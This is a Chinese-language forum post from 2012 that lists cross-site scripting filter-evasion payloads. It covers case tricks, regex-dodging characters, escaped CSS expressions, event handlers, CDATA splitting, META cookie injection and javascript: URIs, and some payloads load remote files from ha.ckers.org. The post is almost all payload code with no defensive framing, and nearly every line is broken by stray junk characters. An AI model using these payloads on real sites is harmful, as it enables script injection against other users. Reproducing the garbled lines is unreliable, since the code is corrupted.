找回密码
 立即注册
查看: 3105|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写
7 M" W) B% W" t. |5 R  }8 R
9 v; ]+ h' i% q
- g( j/ d* e4 u2 k, {% k  @) K  T4 t. |0 W. u! d
    <sCript>alert(‘d’)</scRipT>
7 q5 K2 {: H7 }' s' i1 z
8 _, ~8 Z# T' J" L3 r. {% e2. 利用多加一些其它字符来规避Regular Expression的检查, C) a$ X9 O: l4 c. V" b
; c# C+ l! o5 a8 G% Z
    <<script>alert(‘c’)//<</script>4 R: k* S5 O! y* o9 _/ z4 x
9 b  N: [- V# H- e
    <SCRIPT a=">" SRC="t.js"></SCRIPT>
. i# Q+ V6 U9 y, \& G1 Q# N& t$ Z4 a$ A( m& w; [
    <SCRIPT =">" SRC="t.js"></SCRIPT>7 O/ m) _0 f3 e1 C$ t& a( S
& r+ q5 \2 S- y) R8 e6 e8 K
    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
$ j% _- K* m3 ^0 h/ P2 {9 J7 \' n& i, z7 P! }6 N0 W- X
    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>" n7 p& _2 H5 E
& P) E0 T- c' m: T" w; [* H
    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
" _+ B  g! W5 w, I% c1 Q' x1 A4 l1 u
    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>! W7 C- |$ i% B9 a
4 F0 P4 @1 O/ Z: P+ Q" b+ A
3. 以其它扩展名取代.js, a9 j) M- @9 V$ a0 e
, J) f) l. E+ r' `/ C
    <script src="bad.jpg"></script>, T8 B, N5 ?7 |9 E

( z. {; l. [+ K' V& I4. 将Javascript写在CSS档里
) m- _$ }2 ]" b, Q
# {3 ~3 K! X0 l% v! r    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
, O/ B5 E! N' l+ I
7 ~  b/ k0 f! J7 N& Y6 q5 q       example:; x) W0 |% x# ]

- q- ]5 N# p( F' M          body {; r3 H' ^- F4 |5 A' x1 h0 D
% o  K+ s0 n8 x% x+ J% P# M) T" U% C: I# U
               background-image: url(‘javascript:alert("XSS");’)6 n" ?+ I. U. R

5 m/ G. Z! L& t3 [          }
4 N6 l5 p) s+ X4 W4 a% J' m% c/ H
7 [% ~3 U2 X$ d  k/ Z$ |* m5. 在script的tag里加入一些其它字符
$ a" d/ T2 }  T- y2 Z, l" p, K5 ^
, e3 j( A" K) k0 H6 H    <SCRIPT/SRC="t.js"></SCRIPT>
. a+ T( W; u: j* T$ n3 E
- h" n* W6 k) B& w    <SCRIPT/anyword SRC="t.js"></SCRIPT>
( e9 B5 ?9 E$ R8 S
( N8 I& X* O% u2 F6. 使用tab或是new line来规避
9 T4 W1 m6 O$ |( m! m0 S  ]
, [2 z6 q1 Y6 J4 v& g    <img src="jav ascr ipt:alert(‘XSS3′)">! O) i9 I6 g& b. T
+ q) S0 e5 y) Z: w. H! R
    <img src="jav ascr ipt:alert(‘XSS3′)">, t. H" A2 ^$ P9 j! v3 {4 t
: K9 X2 O4 I7 e/ B3 G- K7 v
    <IMG SRC="jav ascript:alert(‘XSS’);">
+ ^9 ^% A/ h9 P* x, R6 Q
0 q/ f: C9 Q. [: T         -> tag
  G" `" R1 i7 S; S& V! ~1 e9 u
1 t5 |; F+ `3 B' K& v$ ^         -> new line" V* _+ b* ]) |, I$ W
/ x7 t4 W! l) S; M* {& c
7. 使用"\"来规避
3 P, Q( I% I, ~6 f8 I
8 A* Q7 t: z" G8 _) ~( t    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
# L9 s4 N% x" V( u
- s" J& u! V% X' e! P8 y- D+ h+ R& m    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
, Q) l: N' D3 a/ r+ Z% }$ {  Q' p* V4 [" p1 N1 M) M, L
    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
' q7 f. t, N0 l, R0 m' r8 j" R
. r( a+ w5 \- }. H9 B    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
6 W* {" C- E) Z3 @% m) V" }4 t# h8 Y0 ^* A
    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
  h( n  t( |9 h0 B% b7 H& p. N3 }
+ A/ j5 ]; {/ Y% a7 x/ p! y8. 使用Hex encode来规避(也可能会把";"拿掉)& b1 _) L) t( ^9 |0 Q- j2 g7 s
, C: {+ n3 I* P
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
( q3 K2 J) B0 C/ r# p/ y; A  p
) S. d: l$ j" h7 D% {        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">$ ^0 Z2 J5 c, I: N9 n
. J  s) P$ F. |# ^) I
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">7 ~3 e- w/ T& _  z7 D+ u- ?; P; `

( j: v' y) \$ c+ {& V        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
3 i. E2 N7 X* a( @+ e( }/ h( o
$ C, {$ D5 v- I" f% y0 d1 c9. script in HTML tag
# H  h: ]8 y8 f& F4 p
" f3 }& ?  J( ~( {    <body onload=」alert(‘onload’)」>; I9 b  P( d; W6 G( g" C: x
, o/ D/ ^' h5 a, }5 M% C
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload+ ?- v7 N6 z9 I% L
. K) L( A1 I# U7 b
10. 在swf里含有xss的code, P8 @1 b0 n' V0 e

* @" d8 D& G# |& H/ E6 D2 t    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
0 J- Q  [0 u" }" c" m; p( I( {# A
( P- x# r" i# w4 s( ]' R11. 利用CDATA将xss的code拆开,再组合起来。
3 s& M+ }  G! c/ Y! O. `4 j, `6 u. H* g) p; s8 m( |( Y. b
    <XML ID=I><X><C>
4 b1 \; I; W- g0 [  C9 ~/ i$ c3 _% G& R" U6 W
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>+ ?$ G5 V6 c8 p  i
& P8 h- h( a( }& J  w/ r
    </C></X>  y9 p8 v8 V- S. T( d
4 r' y" @3 K7 ]$ w) l1 k% B" U
    </xml>1 d* c  v) r  t8 t; Q- Z+ N

; T% b! g- c+ O1 ?" K    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
, B' a5 `* O! }( W
& {1 B0 g# y) Q( d* q6 L    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
' a: O4 O# b( n- k0 y6 c0 T
; ]- O5 N2 C1 n9 l/ v( F$ t+ S+ h* q1 x    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>. C- z1 o! U8 K( S" U
% D! v% u* T0 A; ?, r
12. 利用HTML+TIME。. E3 k: f* \1 L& v/ S

- x- M% x+ n  [- l. R9 ~* P    <HTML><BODY>
3 G) K% v& S. `2 i! ~2 l# L/ z8 U# Y* B) @  p3 T" S
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">  L! V& ?9 B+ `

, h& w! X2 f) Z: J    <?import namespace="t" implementation="#default#time2">, N6 h6 F% X& I- r4 P

! {, g5 `# s% e; g/ R( z    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
; X8 a* n% r) y' X* A
9 `' h# D: [$ j' ~: G2 @+ T$ g6 W" ]    </BODY></HTML>
1 e& r2 h4 w7 @6 K2 ]+ [! a. a2 `
7 g! b- [  _/ }/ C' a! [- U7 ^13. 透过META写入Cookie。
9 W; w  ?  n: b; p. ]5 b( i# B7 p% Z/ {4 i. N) o
    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">2 T; ^% z4 W4 c# k- `
' G5 Y4 C% W6 r4 Y9 P
14. javascript in src , href , url
: i* C. d: w- U6 y% ?2 T: W
: l, `2 b' Y) o+ N8 E9 u6 c4 m    <IFRAME SRC=javascript:alert(’13′)></IFRAME>
& f8 O* ^% y. z! n- Y/ P" v
0 w: `! G# N. B! l3 W    <img src="javascript:alert(‘XSS3′)">
/ a( w. s6 y# d7 y# n
1 f$ M& P. n% G<IMG DYNSRC="javascript:alert(‘XSS20′)">. r- f0 P! r% r- ]+ }
4 o$ Y4 N  M3 ~3 d2 U% ^
    <IMG LOWSRC="javascript:alert(‘XSS21′)">4 x: @# l9 f8 i% o

- ^0 l" v3 P, d4 L3 {    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
8 \0 T! g9 v/ A4 ~/ J$ g3 z0 ^( d4 Z& f1 J. G% K
    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
8 j+ v2 I: [# o, n9 \
) D8 i+ B8 S8 m- a. Y    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">
$ {1 M; n' B0 b- F0 N2 H. ^! h& W* m$ M! N
    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
  V0 O  _5 E6 i' N4 n) N, b% o8 |+ g; |, J) X
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
; I7 C8 J2 \$ T0 l+ t; g. ~2 i6 G; Y7 d
    </STYLE><A CLASS=XSS></A>
( t  X4 l5 b4 C. V
+ L, k0 T+ ?1 ^( P+ H( E2 q    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>! I4 O1 ~& o7 I4 }# H$ u
  B9 @$ X# t2 ~0 I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表